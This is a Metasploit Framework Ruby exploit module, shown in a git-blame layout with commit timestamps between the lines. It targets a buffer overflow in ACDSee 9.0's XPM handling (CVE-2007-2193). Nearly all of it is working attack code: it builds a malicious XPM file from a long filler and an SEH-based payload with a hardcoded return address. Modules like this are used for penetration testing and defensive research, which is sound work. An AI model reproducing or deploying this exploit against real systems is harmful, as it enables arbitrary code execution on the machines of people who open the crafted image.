2008-12-07 15:02:20 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-12-07 15:02:20 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-12-07 15:02:20 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2008-12-07 15:02:20 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-12-07 15:02:20 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ACDSee XPM File Section Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in ACDSee 9.0.
|
2010-04-30 08:40:19 +00:00
|
|
|
When viewing a malicious XPM file with the ACDSee product,
|
|
|
|
a remote attacker could overflow a buffer and execute
|
|
|
|
arbitrary code.
|
2008-12-07 15:02:20 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => 'MC',
|
2009-03-15 18:12:33 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-12-07 15:02:20 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-2193' ],
|
2009-05-12 19:03:25 +00:00
|
|
|
[ 'OSVDB', '35236' ],
|
|
|
|
[ 'BID', '23620' ],
|
2008-12-07 15:02:20 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
2010-09-25 11:59:02 +00:00
|
|
|
'DisablePayloadHandler' => 'true',
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2008-12-07 15:02:20 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 750,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2008-12-07 15:02:20 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
|
2008-12-07 15:02:20 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2011-05-04 19:17:31 +00:00
|
|
|
'DisclosureDate' => 'Apr 22 2007',
|
2008-12-07 15:02:20 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),
|
|
|
|
], self.class)
|
2008-12-07 15:02:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
filler = rand_text_alpha_upper(rand(25) + 1)
|
|
|
|
|
|
|
|
# http://www.fileformat.info/format/xpm/
|
|
|
|
head = "/* XPM */\r\n"
|
|
|
|
head << "static char * #{filler}[] = {\r\n"
|
|
|
|
head << "\""
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-12-07 15:02:20 +00:00
|
|
|
buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-12-07 15:02:20 +00:00
|
|
|
foot = "\",\r\n" + "};\r\n"
|
|
|
|
|
|
|
|
xpm = head + buff + foot
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-12-07 15:02:20 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
|
|
|
|
file_create(xpm)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-12-07 15:02:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|